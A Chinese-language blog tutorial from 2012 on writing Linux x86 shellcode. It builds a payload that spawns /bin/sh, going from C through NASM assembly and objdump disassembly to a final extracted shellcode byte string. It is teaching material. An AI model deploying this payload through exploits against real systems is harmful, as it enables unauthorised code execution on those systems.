linux下shellcode编写入门

继续更新

linux下shellcode的编写:

首先在windows下写过shellcode的童鞋都知道,linux下的编写方法也是一样的,就拿一个简单的生成新shell作为实例:

首先C语言的表达如下:

shellcode_execve.c

#include<stdio.h>
int main()
{
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}

编译:gcc shellcode_execve.c -o shellcode_execve

运行:./shellcode_execve

sh-4.1# 

正常弹出一个shell,证明这个想法是可行的

首先函数execve的三个参数分别入栈

接着调用int x80中断的11号系统调用编号(即eax赋值为11)

写出shellcode_execve.asm

section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f6e ;字符串/bash//sh
push 0x69622f2f 
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0xb     ;0xb=11h
int 0x80

编译:nasm -f elf shellcode_execve.asm

连接:ld -o shellcode_execve shellcode_execve.o

运行:./shellcode_execve

sh-4.1# 

可以正常运行

接下来要提取出机器码来,用objdump

root@seaeast:~# objdump -d shellcode_execve
shellcode_execve: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                      xor %eax,%eax
8048062:    50                          push %eax
8048063:    68 6e 2f 73 68             push $0x68732f6e
8048068:    68 2f 2f 62 69          push $0x69622f2f
804806d:    89 e3                      mov %esp,%ebx
804806f:    50                           push %eax
8048070:    53                          push %ebx
8048071:    89 e1                      mov %esp,%ecx
8048073:    b0 0b                     mov $0xb,%al
8048075:    cd 80                      int $0x80

shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

 

posted @ 2012-07-31 00:01  Lamboy  阅读(2979)  评论(1编辑  收藏  举报